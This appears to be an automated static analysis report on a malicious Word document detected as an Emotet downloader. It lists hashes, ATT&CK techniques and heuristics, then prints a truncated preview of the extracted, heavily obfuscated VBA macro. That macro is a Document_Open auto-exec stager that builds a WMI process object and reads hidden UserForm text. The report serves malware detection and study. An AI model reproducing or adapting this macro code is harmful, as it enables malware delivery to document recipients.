Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2f2cfd5093453dd…

MALICIOUS

Office (OLE)

221.3 KB Created: 2020-08-26 19:37:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 01b3848fe24577b5059cf94fc78805a0 SHA-1: 5dc418516de9d95b25ea643d1eca5089688ce947 SHA-256: f2f2cfd5093453dd0b0f6f4d00e8e03cf9d9dc3c11fed870e93a79ccfee6bc0b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests this file is a downloader. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or C2 communication, but the overall pattern points to a downloader attempting to fetch and execute additional malware.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10556 bytes
SHA-256: 111c03d437631fa14b787f1ec7d8f3b12b6cc56ec9d7512599dc24c8aae95924
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "A4lxmyy2x1kfr47goh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Mweyc7dm1ar.Jwhdls5ec8urfrcxvc
End Sub


Attribute VB_Name = "Mweyc7dm1ar"
Attribute VB_Base = "0{A1623EA1-86ED-43CF-9E8C-6264FDAC1E39}{409A6693-9655-4202-86FB-10C608E50095}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jwhdls5ec8urfrcxvc()
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Sny51yotluyrdx_u = dw + 45 + ee + 55
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Gik6w7ajl_49 = ChrW(Sny51yotluyrdx_u + (fqd + 10 + vvvv + 5))
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
N1wyuaj9n4c6sdr = "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ai[[[372vfr56 61fs[][324 24 2ds[]anm[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]agm[[[372vfr56 61fs[][324 24 2ds[]at[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a" + Gik6w7ajl_49 + "[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a:[[[372vfr56 61fs[][324 24 2ds[]aw[[[372vfr56 61fs[][324 24 2ds[]ain[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]a3[[[372vfr56 61fs[][324 24 2ds[]a2[[[372vfr56 61fs[][324 24 2ds[]a_[[[372vfr56 61fs[][324 24 2ds[]a" + Mweyc7dm1ar.J47ie5afzjtbkbev1j + "[[[372vfr56 61fs[][324 24 2ds[]aro[[[372vfr56 61fs[][324 24 2ds[]a[[[372vfr56 61fs[][324 24 2ds[]ace[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]as[[[372vfr56 61fs[][324 24 2ds[]a"
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Z46kx54cpjxr5c2f15 = H5fmwlrwb171q53lh5(N1wyuaj9n4c6sdr)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Set Nuhvek219ojbcl0it = CreateObject(Z46kx54cpjxr5c2f15)
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = Mweyc7dm1ar.J47ie5afzjtbkbev1j
eeerv = CSng(3 / 1)
hia = (tDtbgQ0k / CDbl(35) / (161 _
 - ChrW(6112) + PEsp34 / CSng(53) / _
 507 * CDate(22)))
manuq = dd - cqw
Xhw6xem3wtn = Mweyc7dm1ar.Tj0cb_pumyp2l.ControlTipText
   On Error Resume Next
sd = vvwqe / Round(3) _
 / 9 * Sqr(4240 * Tan(789) - dsfew + CSng(dKkk)) / _
 GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(13))
Set njas = 
... (truncated)